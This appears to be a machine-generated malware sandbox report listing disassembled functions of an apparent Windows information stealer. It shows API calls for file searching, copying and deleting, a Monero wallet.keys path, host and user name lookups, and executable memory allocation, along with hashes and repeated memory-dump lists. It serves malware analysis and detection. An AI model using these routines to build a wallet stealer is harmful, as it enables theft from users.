Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: f0fc473fbabb198370c11ee6aa209a8611c3af80b05dd330f0a148007a3b4d59
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: f0fc473fbabb198370c11ee6aa209a8611c3af80b05dd330f0a148007a3b4d59
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlen.KERNEL32(?,01128880,?,\Monero\wallet.keys,00420DFF), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420DFF), ref: 0041A2D5

lstrlen.KERNEL32(00000000), ref: 0040B2AE
lstrlen.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 44d720aefc529ed9ae312917bead019ebc7ea19743d9e0bee6de61fd0522fede
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: 44d720aefc529ed9ae312917bead019ebc7ea19743d9e0bee6de61fd0522fede
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 00414690 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,0112D470), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,0112F0E8), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 12671eb0f7808a54e189d6670f9c42f0d182f37cf4e42cfdcd93eefd94829089
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 12671eb0f7808a54e189d6670f9c42f0d182f37cf4e42cfdcd93eefd94829089
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 00414B30 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414B6A
lstrcat.KERNEL32(?,0112ED88), ref: 00414B88

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 75986d08b26ee1a26b0d7b94cb92ae05a84554b97aa93c6ac76a105e888898dd
Instruction ID: 3c3433cccd63aeccdbe2a936e698fd88f8205579aacfd307105c0296dbc1629e
Opcode Fuzzy Hash: 75986d08b26ee1a26b0d7b94cb92ae05a84554b97aa93c6ac76a105e888898dd
Instruction Fuzzy Hash: 8B01967690021C67CB24FB60DC46EDE733C9B64304F40415EBA4A57191FEB8AAC98BE5

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00401B94,?,?,0042554C,?,?,00420E07), ref: 0041883F

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1c0580170a38dfee8e4643cc3585889bc0f3e5058fdfdfe2a4f5430e514d7bf6
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 1c0580170a38dfee8e4643cc3585889bc0f3e5058fdfdfe2a4f5430e514d7bf6
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420DFF,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 51571f28d6a7ed4813964dc8c522bdbe61ee22cda778a467bc1242f5a69e0a37
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004173B0
Part of subcall function 00417380: RtlAllocateHeap.NTDLL(00000000), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: RtlAllocateHeap.NTDLL(00000000), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
